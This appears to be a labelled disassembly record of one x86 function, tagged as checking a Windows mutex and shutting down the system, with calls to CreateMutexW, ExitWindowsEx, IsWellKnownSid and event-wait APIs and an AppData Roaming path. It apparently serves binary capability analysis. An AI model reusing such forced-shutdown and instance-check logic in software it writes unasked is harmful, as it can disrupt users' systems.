Function at 0x40ae4a
Capabilities:
Check mutex on windows
Shutdown system

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1108
call fcn.0043dbc0
mov byte [esp + 3], cl
push ebx
push ebp
push esi
push edi
xor eax, eax
push ecx
mov ecx, dword [0x440770]
lea edx, [esp + 0x20]
mov byte [esp + 0x16], al
call fcn.0041aa99
test al, al
je 0x40aea9
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x14]
mov dword [esp + 0x14], eax
call fcn.0040a9e8
mov esi, dword [esp + 0x14]
mov edi, eax
xor eax, eax
test edi, edi
lea ecx, [esp + 0x1c]
cmove esi, eax
call fcn.0041ab38
jmp 0x40aeb1
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x14]
cmp esi, 0x1ee
jne 0x40afe9
mov ecx, edi
call fcn.00418f8a
test al, al
je 0x40b15e
xor ebx, ebx
inc ebx
push ebx
lea edx, [esp + 0x5c]
mov ecx, 0x38901130
call fcn.0040a65e
lea eax, [esp + 0x58]
push eax
push ebx
push 0x44074c
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x40b15e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40af11
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov esi, edx
test esi, esi
je 0x40b15e
call fcn.00422681
test al, 0x20
je 0x40af29
or dword [0x440730], 0x10
lea ecx, [esp + 0xc4]
call fcn.004226b4
test al, al
jne 0x40af84
lea ecx, [esp + 0x2f8]
call fcn.0040a9b5
cmp word [esp + 0x6ee], 0
je 0x40af77
lea eax, [esp + 0x6ee]
push eax
push 0x15
pop edx
lea ecx, [esp + 0x30]
call fcn.004189ac
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
lea edx, [esp + 0x2c]
jmp 0x40af7b
xor eax, eax
xor edx, edx
push eax
push 2
pop ecx
call fcn.00422443
call fcn.0041cc1c
test byte [0x440730], 0x10
je 0x40af9f
push 0x80000000
push 0x14
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push ebx
lea edx, [esp + 0x5c]
mov ecx, 0x2a43533f
call fcn.0040a65e
lea eax, [esp + 0x58]
push eax
xor eax, eax
push eax
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov ebp, eax
test ebp, ebp
je 0x40afd2
push ebp
call dword [sym.imp.KERNEL32.dll_SetEvent]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov cl, bl
call fcn.0040ab8a
mov byte [esp + 0x12], bl
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b15e
cmp esi, 0x10
jne 0x40b15e
mov dl, 2
mov ecx, 0x8789347b
call fcn.0040a69f
xor ebx, ebx
mov ebp, eax
inc ebx
test ebp, ebp
je 0x40b14d
lea ecx, [esp + 0x8e8]
call fcn.0040b611
xor edx, edx
test al, al
mov eax, dword [0x440734]
movzx ecx, dl
push 0x16
push dword [eax]
cmovne ecx, ebx
mov dword [esp + 0x1c], ecx
call dword [sym.imp.ADVAPI32.dll_IsWellKnownSid]
cmp eax, ebx
jne 0x40b046
call fcn.0041905f
mov byte [esp + 0x12], al
jmp 0x40b146
cmp byte [esp + 0x14], bl
jne 0x40b076
push dword [edi + 8]
mov ecx, dword [0x440744]
push dword [edi]
mov edx, fcn.0040b760
call fcn.0040ed53
lea edx, [esp + 0xf0]
lea ecx, [esp + 0x8e8]
call fcn.0040b760
jmp 0x40b0a5
call fcn.0040adf4
test al, al
jne 0x40b146
push dword [edi + 8]
mov ecx, dword [0x440744]
push dword [edi + 0xc]
mov edx, fcn.00418e45
call fcn.0040ed53
lea ecx, [esp + 0xf0]
call fcn.00418e45
mov byte [esp + 0x12], al
cmp al, bl
jne 0x40b146
lea eax, [esp + 0x1c]
push eax
xor eax, eax
push eax
push str.C:UsersAdministratorAppDataRoaming
xor edx, edx
lea ecx, [esp + 0xfc]
call fcn.00428838
test eax, eax
setne al
mov byte [esp + 0x12], al
test al, al
je 0x40b146
push ebx
lea edx, [esp + 0x5c]
mov ecx, 0x2a43533f
call fcn.0040a65e
lea eax, [esp + 0x58]
push eax
xor eax, eax
push eax
push ebx
push 0x44074c
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
push 0xffffffffffffffff
test eax, eax
jne 0x40b117
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40b127
xor eax, eax
push eax
lea eax, [esp + 0x1c]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp dword [esp + 0x14], 0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x40b13a
push dword [esp + 0x14]
call esi
push dword [esp + 0x20]
call esi
push dword [esp + 0x1c]
call esi
mov ecx, ebp
call fcn.004280d6
cmp byte [esp + 0x13], bl
jne 0x40b15e
mov ecx, dword [0x440770]
call fcn.004289c1
mov ecx, edi
call fcn.00430e28
mov al, byte [esp + 0x12]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret